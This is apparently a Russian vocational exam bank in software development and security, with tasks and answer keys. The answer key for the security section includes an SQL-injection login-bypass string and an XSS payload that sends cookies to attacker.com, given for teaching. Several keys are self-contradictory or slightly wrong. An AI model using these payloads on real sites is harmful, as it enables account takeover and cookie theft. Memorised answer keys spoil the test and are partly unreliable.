5. Расположите этапы разработки программного обеспечения в соответствии с каскадной моделью (Waterfall) в правильной последовательности:

1. Тестирование
2. Реализация (кодирование)
3. Проектирование
4. Анализ требований
5. Эксплуатация и сопровождение

Правильная последовательность: _____

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1. Расположите этапы оценки качества функционирования компьютерной системы в правильной последовательности:

1. Сбор данных о работе системы
2. Определение критериев и метрик качества
3. Анализ полученных данных
4. Формирование отчета и рекомендаций

Правильная последовательность: _____

2. Расположите этапы повышения надежности системы с использованием временной избыточности в правильной последовательности:

1. Обнаружение сбоя
2. Повторное выполнение операции
3. Сравнение результатов с исходными данными
4. Восстановление работоспособности

Правильная последовательность: _____

3. Расположите этапы работы антивирусной программы при обнаружении угрозы в правильной последовательности:

1. Анализ файла на наличие вредоносного кода
2. Сканирование файловой системы
3. Помещение угрозы в карантин или удаление
4. Уведомление пользователя о результате

Правильная последовательность: _____

4. Расположите этапы тестирования защиты программного обеспечения (пентеста) в правильной последовательности:

1. Сбор информации о системе
2. Моделирование атаки
3. Анализ выявленных уязвимостей
4. Составление отчета с рекомендациями

Правильная последовательность: _____

5. Расположите этапы шифрования сообщения с использованием асимметричного ключа в правильной последовательности:

1. Получение открытого ключа получателя
2. Шифрование сообщения открытым ключом
3. Передача зашифрованного сообщения получателю
4. Расшифрование сообщения закрытым ключом получателя

Правильная последовательность: _____

**Тестовые задания с выбором двух (и более) правильных ответов из перечня
МДК.02.01 Разработка программных модулей**

1. Какие принципы относятся к объектно-ориентированному программированию (ООП)?

1. Инкапсуляция
2. Декомпозиция
3. Наследование
4. Полиморфизм
5. Итерация

Ответ: _____

2. Какие структуры данных относятся к линейным?

1. Массив
2. Дерево
3. Связный список
4. Граф
5. Очередь

Ответ: _____

3. Какие архитектурные шаблоны используются при разработке программных модулей?

1. MVC (Model-View-Controller)
2. MVVM (Model-View-ViewModel)
3. REST (Representational State Transfer)
4. MVP (Model-View-Presenter)
5. SQL (Structured Query Language)

Ответ: _____

4. Какие операции входят в понятие CRUD при работе с базами данных?

1. Create (создание)
2. Copy (копирование)
3. Read (чтение)
4. Update (обновление)
5. Delete (удаление)

Ответ: _____

5. Какие алгоритмы сортировки вы знаете?

1. Сортировка пузырьком
2. Быстрая сортировка
3. Сортировка выбором
4. Алгоритм Дейкстры
5. Алгоритм Кнута-Морриса-Пратта

Ответ: _____

МДК.02.02 Осуществление интеграции программных модулей

1. Какие типы API используются для интеграции программных модулей?

1. REST
2. FTP
3. SOAP
4. GraphQL

Ответ: _____

2. Какие форматы данных применяются для обмена информацией при интеграции?

1. JSON
2. DOCX
3. XML
4. YAML

Ответ: _____

3. Какие методы HTTP используются в REST API?

1. GET
2. DELETE
3. POST
4. PUT

Ответ: _____

4. Какие протоколы и технологии обеспечивают безопасную передачу данных при интеграции?

1. HTTP
2. HTTPS
3. SSL/TLS
4. JWT

Ответ: _____

5. Какие подходы к интеграции программных модулей существуют?

1. Синхронная интеграция
2. Асинхронная интеграция
3. Интеграция через шину данных
4. Интеграция через общую базу данных

Ответ: _____

МДК.02.03 Поддержка и тестирование программных модулей

1. Какие виды тестирования относятся к уровням тестирования?

1. Модульное тестирование
2. Интеграционное тестирование
3. Нагрузочное тестирование
4. Системное тестирование

Ответ: _____

2. Какие техники разработки тест-кейсов вы знаете?

1. Эквивалентное разбиение
2. Анализ граничных значений
3. Сортировка пузырьком
4. Парное тестирование

Ответ: _____

3. Какие статусы может иметь дефект (баг) в процессе жизненного цикла?

1. Открыт (новый)
2. Исправлен
3. Закрыт
4. Скомпилирован

Ответ: _____

4. Какие инструменты используются для автоматизации тестирования?

1. JUnit
2. Selenium
3. Postman
4. Photoshop

Ответ: _____

5. Какие виды тестирования относятся к нефункциональным?

1. Нагрузочное тестирование
2. Тестирование производительности
3. Модульное тестирование
4. Тестирование безопасности

Ответ: _____

МДК.02.04 Математическое моделирование

1. Какие типы математических моделей существуют?

1. Детерминированные
2. Стохастические
3. Анимационные
4. Имитационные

Ответ: _____

2. Какие этапы включает процесс построения математической модели?

1. Формализация
2. Компьютерный эксперимент
3. Тестирование модуля
4. Проверка адекватности

Ответ: _____

3. Какие характеристики системы массового обслуживания вы знаете?

1. Интенсивность потока заявок
2. Время обслуживания
3. Скорость передачи данных
4. Загрузка системы

Ответ: _____

4. Какие методы имитационного моделирования используются в практике?

1. Метод Монте-Карло
2. Метод наименьших квадратов
3. Дискретно-событийное моделирование
4. Агентное моделирование

Ответ: _____

5. Какие понятия связаны с верификацией и валидацией модели?

1. Проверка правильности реализации модели на компьютере
2. Соответствие модели реальному объекту
3. Оптимизация кода
4. Оценка производительности

Ответ: _____

МДК.02.05 Численные методы

1. Какие методы используются для решения нелинейных уравнений?

1. Метод половинного деления

2. Метод Гаусса
3. Метод Ньютона (касательных)
4. Метод Зейделя

Ответ: _____

2. Какие методы численного интегрирования позволяют повысить точность вычислений по сравнению с методом прямоугольников?

1. Метод трапеций
2. Метод простой итерации
3. Метод Симпсона
4. Метод Эйлера

Ответ: _____

3. Какие методы относятся к итерационным методам решения систем линейных уравнений?

1. Метод Гаусса
2. Метод простой итерации
3. Метод Зейделя
4. Метод Крамера

Ответ: _____

4. Какие виды погрешностей характеризуют точность численного метода?

1. Абсолютная погрешность
2. Погрешность округления
3. Методическая погрешность
4. Систематическая погрешность

Ответ: _____

5. Какие методы используются для приближения (аппроксимации) функций?

1. Интерполяция полиномами
2. Метод наименьших квадратов
3. Метод Эйлера
4. Метод Рунге-Кутты

Ответ: _____

МДК.02.06 Безопасность программного обеспечения

1. Какие основные цели информационной безопасности определяются триадой CIA?

1. Конфиденциальность
2. Аутентификация
3. Целостность
4. Доступность

Ответ: _____

2. Какие виды атак на веб-приложения относятся к инъекциям?

1. SQL-инъекция
2. XSS (межсайтовый скриптинг)
3. DoS-атака
4. LDAP-инъекция

Ответ: _____

3. Какие методы используются для безопасного хранения паролей?

1. Хранение паролей в открытом виде
2. Хэширование паролей
3. Использование соли (salt) при хэшировании

4. Шифрование паролей обратимым методом

Ответ: _____

4. Какие протоколы используются для обеспечения безопасной передачи данных по сети?

1. HTTP
2. HTTPS
3. SSH
4. FTP

Ответ: _____

5. Какие принципы безопасной разработки программного обеспечения вы знаете?

1. Минимум привилегий
2. Защита по умолчанию
3. Усложнение интерфейса
4. Безопасность на всех этапах разработки

Ответ: _____

МДК.02.07 Технология разработки программного обеспечения

1. Какие виды требований к программному обеспечению существуют?

1. Функциональные требования
2. Бизнес-требования
3. Технические требования
4. Нефункциональные требования

Ответ: _____

2. Какие модели жизненного цикла программного обеспечения относятся к гибким (Agile) методологиям?

1. Каскадная модель
2. Scrum
3. V-модель
4. Kanban

Ответ: _____

3. Какие элементы присутствуют на диаграмме IDEF0?

1. Вход (Input)
2. Выход (Output)
3. Управление (Control)
4. Механизм (Mechanism)

Ответ: _____

4. Какие характеристики качества программного обеспечения оцениваются в моделях качества (ISO/IEC 25010)?

1. Функциональная пригодность
2. Надежность
3. Цветовая гамма интерфейса
4. Удобство использования

Ответ: _____

5. Какие методы используются для сбора и анализа требований к программному обеспечению?

1. Интервьюирование
2. Анкетирование
3. Анализ документов

4. Наблюдение

Ответ: _____

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1. Какие характеристики качества входят в многоуровневую модель качества программного обеспечения?

1. Функциональность
2. Надежность
3. Цветовая гамма
4. Удобство использования

Ответ: _____

2. Какие методы повышения надежности компьютерных систем относятся к избыточности?

1. Временная избыточность
2. Информационная избыточность
3. Программная избыточность
4. Финансовая избыточность

Ответ: _____

3. Какие типы антивирусных программ существуют по способу обнаружения угроз?

1. Сигнатурные антивирусы
2. Эвристические антивирусы
3. Резидентные антивирусы
4. Поведенческие антивирусы

Ответ: _____

4. Какие методы тестирования защиты программного обеспечения вы знаете?

1. Сканирование уязвимостей
2. Пентест (тестирование на проникновение)
3. Статический анализ безопасности кода
4. Нагрузочное тестирование

Ответ: _____

5. Какие виды шифрования используются для защиты информации?

1. Симметричное шифрование
2. Асимметричное шифрование
3. Квантовое шифрование
4. Протокол SSL/TLS

Ответ: _____

Примерная тематика курсовых работ (проектов) МДК.02.02 Осуществление интеграции программных модулей

1. Разработка интеграционного решения для синхронизации данных между интернет-магазином и складской системой через REST API
2. Проектирование и реализация интеграционной шины для взаимодействия модулей корпоративной информационной системы
3. Разработка API-шлюза для обеспечения безопасного взаимодействия микросервисов

веб-приложения

4. Интеграция системы управления проектами (Jira) с мессенджером (Telegram) для автоматического уведомления о задачах
5. Разработка сервиса синхронизации данных между CRM-системой и платформой электронной почты (Mailchimp, SendPulse)
6. Создание ETL-процесса для миграции данных из реляционной базы данных в NoSQL хранилище (MongoDB)
7. Интеграция системы онлайн-бронирования с платежным шлюзом (YooKassa, Stripe) через API
8. Разработка коннектора для обмена данными между 1С и веб-приложением на базе REST API
9. Создание централизованной системы аутентификации (SSO) для интеграции нескольких веб-приложений
10. Разработка интеграционного модуля для синхронизации данных между мобильным приложением и облачным хранилищем
11. Проектирование и реализация очереди сообщений (RabbitMQ) для асинхронной интеграции микросервисов
12. Интеграция системы логирования с централизованным сервером мониторинга (ELK Stack)
13. Разработка веб-сервиса (SOAP) для обмена данными между медицинской информационной системой и лабораторией
14. Создание интеграционного решения для автоматического импорта товаров из XML-фидов поставщиков
15. Интеграция чат-бота (Telegram, VK) с CRM-системой для автоматизации обработки заявок
16. Разработка API-интерфейса для взаимодействия мобильного приложения с платежной системой
17. Создание интеграционной платформы для обмена документами между контрагентами в формате XML/JSON
18. Интеграция системы управления обучением (LMS) с платформой видеоконференций (Zoom, BigBlueButton)
19. Разработка сервиса для синхронизации календарей и задач между различными приложениями (Google Calendar, Outlook)
20. Создание коннектора для интеграции ERP-системы с сервисом электронного документооборота (СБИС, Диадок)
21. Интеграция системы аналитики (Google Analytics, Яндекс.Метрика) с панелью управления веб-приложения
22. Разработка интеграционного модуля для обмена данными между геоинформационной системой и мобильным приложением
23. Создание системы интеграции для автоматической рассылки уведомлений через SMS-шлюз и email-сервис
24. Интеграция системы управления складом (WMS) с маркетплейсами (Ozon, Wildberries) через API
25. Разработка RESTful API для взаимодействия фронтенд-приложения с бэкенд-сервисами
26. Создание интеграционного решения для синхронизации пользователей между Active Directory и веб-приложением
27. Интеграция системы контроля версий (Git) с системой управления проектами (Trello, Asana)
28. Разработка сервиса для интеграции голосового помощника с системой "Умный дом" через MQTT
29. Создание интеграционного модуля для обмена данными между производственной системой и ERP
30. Интеграция платежной системы с подписочным сервисом для автоматического управ-

- ления подписками
31. Разработка интеграционной платформы для подключения сторонних сервисов к SaaS-решению
 32. Создание системы интеграции для автоматического резервного копирования данных в облачное хранилище
 33. Интеграция системы распознавания документов (OCR) с документооборотом предприятия
 34. Разработка API-шлюза для обеспечения отказоустойчивости и балансировки нагрузки между микросервисами
 35. Создание интеграционного решения для синхронизации данных между мобильным приложением и умными часами
 36. Интеграция системы аналитики с сервисом сбора пользовательских событий (Segment, Mixpanel)
 37. Разработка коннектора для интеграции CRM-системы с рекламными кабинетами (Яндекс.Директ, Google Ads)
 38. Создание системы интеграции для автоматического формирования и отправки счетов на оплату через API банка
 39. Интеграция модуля компьютерного зрения с системой контроля доступа (СКУД)
 40. Разработка интеграционного решения для взаимодействия промышленных контроллеров (PLC) с MES-системой

Практические задания **МДК.02.01 Разработка программных модулей**

Задание 1

Напишите функцию, которая принимает массив чисел и возвращает сумму всех элементов.
Пример: для массива [2, 4, 6] функция должна вернуть 12.

Ответ: _____

Задание 2

Создайте класс Книга с двумя полями: название и автор. Добавьте метод getInfo(), который возвращает строку "Название: [название], Автор: [автор]".

Ответ: _____

Задание 3

Напишите функцию, которая принимает строку и возвращает ее длину (количество символов).

Пример: для строки "Привет" функция должна вернуть 6.

Ответ: _____

Задание 4

Напишите рекурсивную функцию, которая выводит числа от n до 1.

Пример: для n = 3 функция должна вывести: 3 2 1

Ответ: _____

Задание 5

Напишите функцию, которая принимает массив чисел и возвращает самый большой элемент.
Пример: для массива [3, 7, 2, 9, 1] функция должна вернуть 9.

Ответ: _____

Практические задания **МДК.02.02 Осуществление интеграции программных модулей**

Задание 1 (REST API)

Напишите URL-запрос (GET) для получения списка всех пользователей из REST API, который доступен по адресу <https://api.example.com/users>. Какой код ответа означает успешное выполнение запроса?

Ответ: _____

Задание 2 (JSON)

Дан JSON-объект: {"name": "Иван", "age": 25, "city": "Москва"}. Напишите, как получить значение поля name на языке JavaScript.

Ответ: _____

Задание 3 (форматы данных)

Какие два формата данных чаще всего используются для обмена информацией между модулями? Напишите краткое описание каждого.

Ответ: _____

Задание 4 (HTTP-методы)

Сопоставьте действие с методом HTTP:

- Получение данных → ?
- Создание нового ресурса → ?
- Удаление ресурса → ?

Ответ: _____

Задание 5 (интеграция через API)

Представьте, что вам нужно получить данные о погоде из внешнего API. API возвращает JSON. Напишите на JavaScript (или PHP) код, который отправляет GET-запрос к <https://api.weather.com/current?city=Moscow> и выводит полученные данные в консоль.

Ответ: _____

Практические задания

МДК.02.03 Поддержка и тестирование программных модулей

Задание 1 (тест-кейс)

Составьте тест-кейс для проверки функции сложения двух чисел. Укажите:

- Название теста
- Входные данные
- Ожидаемый результат

Ответ: _____

Задание 2 (дефект)

Представьте, что при тестировании формы регистрации вы ввели пароль из 3 символов (минимальное требование — 6 символов), и система приняла его. Опишите дефект (баг): что произошло и что должно было произойти.

Ответ: _____

Задание 3 (модульное тестирование)

Напишите простой модульный тест (на любом языке или псевдокоде) для функции isEven(n), которая возвращает true, если число четное, и false, если нечетное. Проверьте два случая: n = 4 и n = 5.

Ответ: _____

Задание 4 (жизненный цикл дефекта)

Расположите в правильной последовательности этапы жизненного цикла дефекта (бага):

- Исправление дефекта
- Обнаружение дефекта
- Закрытие дефекта
- Передача дефекта разработчику

Ответ: _____

Задание 5 (регрессионное тестирование)

Объясните своими словами, что такое регрессионное тестирование и в каких случаях оно применяется.

Ответ: _____

Практические задания

МДК.02.04 Математическое моделирование

Задание 1 (типы моделей)

Определите, к какому типу (детерминированная или стохастическая) относятся следующие модели:

1. Расчет времени падения мяча с высоты без учета сопротивления воздуха
2. Прогноз погоды на завтра
3. График движения поездов метро

Ответ: _____

Задание 2 (этапы моделирования)

Расположите в правильной последовательности этапы построения математической модели:

- Проверка адекватности модели
- Постановка задачи
- Формализация (построение математического описания)
- Компьютерный эксперимент

Ответ: _____

Задание 3 (система массового обслуживания)

В банке работает один кассир. Клиенты приходят в среднем каждые 5 минут. Кассир обслуживает одного клиента в среднем 4 минуты.

Вопрос: будет ли очередь расти? Почему?

Ответ: _____

Задание 4 (метод Монте-Карло)

Опишите, как с помощью метода Монте-Карло можно приблизительно вычислить площадь круга, вписанного в квадрат со стороной 2. В чем суть метода?

Ответ: _____

Задание 5 (валидация модели)

Вы построили модель для прогнозирования продаж в магазине. После запуска модели вы получили результаты и сравнили их с реальными данными за прошлый месяц. Расхождение составило 15%.

Вопрос: что нужно сделать с моделью? Объясните, почему.

Ответ: _____

Практические задания МДК.02.05 Численные методы

Задание 1 (метод половинного деления)

Уравнение $f(x)=x^2-4=0$ имеет корень на отрезке $[1, 3]$. Выполните один шаг метода половинного деления. Найдите середину отрезка и определите, в какой половине находится корень.

Ответ: _____

Задание 2 (численное интегрирование)

Вычислите приближенное значение интеграла $\int_0^2 x dx$ методом прямоугольников, разбив отрезок на 2 равные части (шаг = 1). Используйте левые прямоугольники.

Ответ: _____

Задание 3 (погрешность)

При измерении длины стола получено значение 1,2 м. Точная длина стола — 1,25 м. Найдите абсолютную и относительную погрешность измерения.

Ответ: _____

Задание 4 (метод Ньютона)

Для уравнения $x^2-4=0$ известно начальное приближение $x_0=3$. Выполните одну итерацию метода Ньютона (касательных), используя формулу $x_{n+1}=x_n - \frac{f(x_n)}{f'(x_n)}$.

Ответ: _____

Задание 5 (интерполяция)

Даны две точки: (1, 2) и (3, 6). Постройте линейную интерполяционную функцию (уравнение прямой, проходящей через эти точки). Найдите значение функции в точке $x=2$.

Ответ: _____

Практические задания МДК.02.06 Безопасность программного обеспечения

Задание 1 (аутентификация и авторизация)

Объясните разницу между аутентификацией и авторизацией. Приведите пример для интернет-магазина, где эти процессы происходят.

Ответ: _____

Задание 2 (безопасное хранение паролей)

Почему нельзя хранить пароли в базе данных в открытом виде? Какой метод хранения паролей является безопасным?

Ответ: _____

Задание 3 (SQL-инъекция)

Дан уязвимый PHP-код:

```
php
```

```
$user = $_POST['username'];
```

```
$pass = $_POST['password'];
```

```
$query = "SELECT * FROM users WHERE login='$user' AND password='$pass'";
```

Вопрос: как злоумышленник может выполнить SQL-инъекцию через поле username? Напишите пример вредоносного ввода.

Ответ: _____

Задание 4 (XSS-атака)

Представьте, что на сайте есть форма комментариев, и введенный текст выводится на страницу без обработки. Какой вредоносный код может ввести злоумышленник, чтобы украсть куки пользователя? Напишите пример.

Ответ: _____

Задание 5 (HTTPS)

Чем отличается протокол HTTPS от HTTP? Какие задачи решает HTTPS?

Ответ: _____

Практические задания МДК.02.07 Технология разработки программного обеспечения

Задание 1 (виды требований)

Определите, к какому виду требований (функциональные или нефункциональные) относятся следующие:

1. Система должна отправлять уведомление на email после регистрации пользователя
2. Время отклика системы не должно превышать 2 секунд
3. Система должна поддерживать одновременную работу 1000 пользователей

Ответ: _____

Задание 2 (модели ЖЦ)

Сравните каскадную модель и гибкую методологию Scrum. Назовите одно преимущество и один недостаток каждой модели.

Ответ: _____

Задание 3 (диаграмма IDEF0)

Опишите элементы диаграммы IDEF0: что обозначают стрелки «Вход», «Выход», «Управление», «Механизм»? Приведите пример для процесса «Приготовление обеда».

Ответ: _____

Задание 4 (сбор требований)

Вы работаете аналитиком и собираете требования к новой системе для библиотеки. Назовите два метода сбора требований и опишите, как каждый из них применяется.

Ответ: _____

Задание 5 (оценка качества)

Назовите три характеристики качества программного обеспечения (из модели ISO 25010) и кратко объясните каждую.

Ответ: _____

Практические задания

МДК.02.08 Обеспечение качества функционирования компьютерных систем

Задание 1 (характеристики качества)

Определите, к какой характеристике качества (функциональность, надежность, производительность, удобство использования) относятся следующие требования:

1. Система должна восстанавливаться после сбоя за 5 минут
2. Пользователь должен находить нужную функцию не более чем за 3 клика
3. Страница должна загружаться за 2 секунды

Ответ: _____

Задание 2 (дестабилизирующие факторы)

Назовите три дестабилизирующих фактора, которые могут нарушить работу компьютерной системы. Для каждого приведите краткий пример.

Ответ: _____

Задание 3 (методы повышения надежности)

Опишите, как работает метод «временная избыточность». Приведите пример его применения.

Ответ: _____

Задание 4 (антивирусные программы)

Какие два основных метода обнаружения вредоносного ПО используют антивирусы? Кратко объясните суть каждого.

Ответ: _____

Задание 5 (шифрование)

Чем отличается симметричное шифрование от асимметричного? В каких ситуациях применяется каждый вид?

Ответ: _____

Ключи к ответам тестовых заданий

Ключи к ответам тестовых заданий на установление соответствия:

МДК.02.01 Разработка программных модулей

Ответы:

Установление соответствия

1.

А	Б	В
2	3	1

2.

А	Б	В
3	1	2

3.

А	Б	В
2	1	3

4.

А	Б	В
3	1	2

5.

А	Б	В
3	1	2

МДК.02.02 Осуществление интеграции программных модулей

1.

A	Б	В
2	3	1

2.

A	Б	В
3	1	2

3.

A	Б	В
1	3	2

4.

A	Б	В
3	1	2

5.

A	Б	В
2	1	3

МДК.02.03 Поддержка и тестирование программных модулей

1.

A	Б	В
2	3	1

2.

A	Б	В
3	1	2

3.

A	Б	В
2	3	1

4.

A	Б	В
2	1	3

5.

A	Б	В
2	1	3

МДК.02.04 Математическое моделирование

1.

A	Б	В
3	1	2

2.

A	Б	В
2	1	3

3.

A	Б	В
2	1	3

4.

A	Б	В
3	1	2

5.

А	Б	В
2	1	3

МДК.02.05 Численные методы

1.

А	Б	В
2	1	3

2.

А	Б	В
2	1	3

3.

А	Б	В
3	1	2

4.

А	Б	В
3	2	1

5.

А	Б	В
2	1	3

МДК.02.06 Безопасность программного обеспечения

1.

А	Б	В
2	1	3

2.

А	Б	В
2	1	3

3.

А	Б	В
2	1	3

4.

А	Б	В
2	3	1

5.

А	Б	В
2	1	3

МДК.02.07 Технология разработки программного обеспечения

1.

А	Б	В
1	3	2

2.

А	Б	В
3	1	2

3.

А	Б	В
2	3	1

4.

А	Б	В
2	1	3

5.

А	Б	В
2	1	3

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1.

А	Б	В
2	1	3

2.

А	Б	В
3	1	2

3.

А	Б	В
2	1	3

4.

А	Б	В
1	2	3

5.

А	Б	В
1	3	2

Ключи к ответам тестовых заданий на установление последовательности МДК.02.01 Разработка программных модулей

- 1) 3, 2, 4, 1
- 2) 1, 3, 2, 4
- 3) 2, 1, 4, 3
- 4) 3, 2, 1, 4
- 5) 2, 3, 1, 4

МДК.02.02 Осуществление интеграции программных модулей

- 1) 3, 2, 4, 1
- 2) 3, 4, 1, 2
- 3) 2, 3, 4, 1
- 4) 2, 3, 1, 4
- 5) 2, 1, 4, 3

МДК.02.03 Поддержка и тестирование программных модулей

- 1) 2, 4, 1, 3
- 2) 2, 4, 1, 3
- 3) 2, 3, 1, 4
- 4) 2, 4, 1, 3
- 5) 2, 4, 1, 3

МДК.02.04 Математическое моделирование

- 1) 3, 2, 1, 4
- 2) 3, 2, 4, 1
- 3) 2, 4, 1, 3
- 4) 3, 1, 2, 4
- 5) 3, 2, 4, 1

МДК.02.05 Численные методы

- 1) 2, 3, 4, 1

- 2) 2, 1, 3, 4
- 3) 3, 2, 1, 4
- 4) 2, 4, 3, 1
- 5) 3, 1, 2, 4

МДК.02.06 Безопасность программного обеспечения

- 1) 2, 1, 3, 4
- 2) 2, 3, 1, 4
- 3) 4, 1, 3, 2
- 4) 2, 3, 1, 4
- 5) 2, 3, 1, 4

МДК.02.07 Технология разработки программного обеспечения

- 1) 3, 2, 5, 1, 4
- 2) 2, 3, 1, 4
- 3) 1, 2, 4, 3
- 4) 2, 1, 3, 4
- 5) 4, 3, 2, 1, 5

МДК.02.07 Обеспечение качества функционирования компьютерных систем

- 1) 2, 1, 3, 4
- 2) 1, 2, 3, 4
- 3) 2, 1, 3, 4
- 4) 1, 2, 3, 4
- 5) 1, 2, 3, 4

Ключи к ответам тестовых заданий с выбором двух и более правильных ответов из перечня

МДК.02.01 Разработка программных модулей

- 1) 1, 3, 4
- 2) 1, 3, 5
- 3) 1, 2, 4
- 4) 1, 3, 4, 5
- 5) 1, 2, 3

МДК.02.02 Осуществление интеграции программных модулей

- 1) 1, 3, 4
- 2) 1, 3, 4
- 3) 1, 2, 3, 4
- 4) 2, 3, 4
- 5) 1, 2, 3, 4

МДК.02.03 Поддержка и тестирование программных модулей

- 1) 1, 2, 4
- 2) 1, 2, 4
- 3) 1, 2, 3
- 4) 1, 2, 3
- 5) 1, 2, 4

МДК.02.04 Математическое моделирование

- 1) 1, 2, 4
- 2) 1, 2, 4
- 3) 1, 2, 4
- 4) 1, 3, 4
- 5) 1, 2

МДК.02.05 Численные методы

- 1) 1, 3
- 2) 1, 3
- 3) 2, 3
- 4) 1, 2, 3
- 5) 1, 2

МДК.02.06 Безопасность программного обеспечения

- 1) 1, 3, 4
- 2) 1, 2, 4
- 3) 2, 3
- 4) 2, 3
- 5) 1, 2, 4

МДК.02.07 Технология разработки программного обеспечения

- 1) 1, 2, 4
- 2) 2, 4
- 3) 1, 2, 3, 4
- 4) 1, 2, 4
- 5) 1, 2, 3, 4

МДК.02.08 Обеспечение качества функционирования компьютерных систем

- 1) 1, 2, 4
- 2) 1, 2, 3
- 3) 1, 2, 4
- 4) 1, 2, 3
- 5) 1, 2, 4

Ключи к ответам на задания
(практические задачи, ситуационные задачи, кейс-задания):
МДК.02.01 Разработка программных модулей

1	2	3	4	5
----------	----------	----------	----------	----------

function sumArray(\$arr) { \$sum = 0; foreach(\$arr as \$num) { \$sum += \$num; } return \$sum; }	class Book { public \$title; public \$author; public function getInfo() { return "Название: " . \$this->title . ", Автор: " . \$this->author; } }	function stringLength(\$str) { return strlen(\$str); }	function printNumbers(\$n) { if (\$n >= 1) { echo \$n . " "; printNumbers(\$n - 1); } }	function findMax(\$arr) { \$max = \$arr[0]; foreach(\$arr as \$num) { if (\$num > \$max) { \$max = \$num; } } return \$max; }
---	---	--	---	---

МДК.02.02 Осуществление интеграции программных модулей

1	2	3	4	5
URL: https://api.example.com/users . Код ответа: 200 OK	let name = data.name; или let name = data["name"];	JSON (JavaScript Object Notation) — легкий текстовый формат, основанный на синтаксисе JavaScript. XML (eXtensible Markup Language) — расширяемый язык разметки, использующий теги.	Получение → GET. Создание → POST. Удаление → DELETE.	JavaScript (fetch): fetch('https://api.weather.com/current?city=Moscow').then(response => response.json()) .then(data => console.log(data)); PHP: \$data = file_get_contents('https://api.weather.com/current?city=Moscow'); echo \$data;

МДК.02.03 Поддержка и тестирование программных модулей

1	2	3	4	5
Название: Проверка сложения положительных чисел. Входные данные: a = 2, b = 3. Ожидаемый результат: 5.	Что произошло: Система приняла пароль из 3 символов. Что должно было произойти: Система должна отклонить пароль и вывести сообщение «Пароль должен содержать не менее 6 символов».	assert(isEven(4) == true); assert(isEven(5) == false);	1. Обнаружение дефекта, 2. Передача дефекта разработчику, 3. Исправление дефекта, 4. Закрытие дефекта	Регрессионное тестирование — это повторное выполнение уже пройденных тестов после внесения изменений в код, чтобы убедиться, что новые изменения не нарушили существующую функциональность. Применяется после исправления ошибок, добавления новых функций или рефакторинга.

МДК.02.04 Математическое моделирование

1	2	3	4	5
---	---	---	---	---

1. Детерминированная; 2. Стохастическая; 3. Детерминированная	1. Постановка задачи; 2. Формализация; 3. Компьютерный эксперимент; 4. Проверка адекватности	Очередь будет расти, так как интенсивность поступления клиентов (1 клиент/5 мин = 0,2 клиента/мин) превышает интенсивность обслуживания (1 клиент/4 мин = 0,25 клиента/мин). На самом деле здесь наоборот: $0,2 < 0,25$, значит очередь расти не будет, кассир успевает обслуживать. Правильный ответ: очередь расти не будет, так как кассир обслуживает быстрее, чем приходят клиенты.	Суть метода: генерировать случайные точки внутри квадрата, подсчитывать, сколько точек попало внутрь круга. Площадь круга \approx (количество точек в круге / общее количество точек) \times площадь квадрата.	Модель нужно скорректировать (откалибровать), так как она недостаточно точно описывает реальный процесс. Необходимо уточнить параметры, добавить факторы или изменить структуру модели, чтобы уменьшить расхождение с реальными данными.
---	--	---	--	--

МДК.02.05 Численные методы

1	2	3	4	5
Середина отрезка: $x = (1+3)/2 = 2$. $f(2) = 0$, значит корень найден точно ($x = 2$)	Шаг $h = 1$. Точки: $x_0 = 0$, $x_1 = 1$. Значения: $f(0) = 0$, $f(1) = 1$. Сумма площадей: $h \times (f(0) + f(1)) = 1 \times (0 + 1) = 1$. Приближенное значение интеграла = 1 (точное значение = 2)	Абсолютная погрешность: $1,2 - 1,25 = 0,05$ м. Относительная погрешность: $0,05 / 1,25 = 0,04 = 4\%$	$f(x) = x^2 - 4$, $f'(x) = 2x$. $x_1 = 3 - (9 - 4)/(2 \times 3) = 3 - 5/6 = 3 - 0,8333 = 2,1667$	Угловой коэффициент $k = (6 - 2)/(3 - 1) = 4/2 = 2$. Уравнение: $y = 2x$. При $x = 2$, $y = 4$

МДК.02.06 Безопасность программного обеспечения

1	2	3	4	5
Аутентификация — проверка подлинности пользователя (кто вы). Например, ввод логина и пароля. Авторизация — определение прав доступа (что вам разрешено). Например, обычный пользователь может просматривать товары, а администратор — редактировать их.	Пароли нельзя хранить в открытом виде, потому что при утечке базы данных злоумышленник получит все пароли. Безопасный метод — хранение хэшей паролей (необратимое преобразование) с добавлением соли (случайной строки) для защиты от радужных таблиц.	Злоумышленник может ввести в поле <code>username: admin' --</code> . Тогда запрос станет: <code>SELECT * FROM users WHERE login='admin' --' AND password='...'</code> (все, что после <code>--</code> , станет комментарием). Аутентификация будет пройдена без проверки пароля.	Злоумышленник может ввести: <code><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script></code> . При просмотре страницы этот скрипт выполнится в браузере жертвы и отправит ее куки злоумышленнику.	HTTPS — это HTTP, работающий поверх протоколов SSL/TLS , которые обеспечивают передаваемых данных. HTTPS решает задачи: шифрование (защита от подслушивания), аутентификация сервера (подтверждение подлинности сайта), целостность дан-

				ных (защита от подмены).
--	--	--	--	---------------------------------

МДК.02.07 Технология разработки программного обеспечения

1	2	3	4	5
1. Функциональное требование; 2. Нефункциональное требование; 3. Нefункциональное требование	Каскадная модель: преимущество — четкое планирование и документирование; недостаток — сложность внесения изменений после завершения этапа. Scrum: преимущество — гибкость и адаптация к изменениям; недостаток — требует высокой дисциплины команды и вовлеченности заказчика.	Вход — что преобразуется (продукты). Выход — результат процесса (готовый обед). Управление — правила, инструкции (рецепт). Механизм — ресурсы, исполнители (повар, кухонная техника).	1. Интервью — беседа с заказчиком и пользователями для выявления потребностей. 2. Анкетирование — сбор информации с помощью опросных листов от большого числа пользователей. 3. Наблюдение — изучение реальной работы сотрудников библиотеки.	1. Функциональная пригодность — насколько система выполняет требуемые функции. 2. Надежность — способность сохранять работоспособность при сбоях. 3. Удобство использования — насколько система понятна и проста для пользователя. 4. Производительность — время отклика и пропускная способность.

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1	2	3	4	5
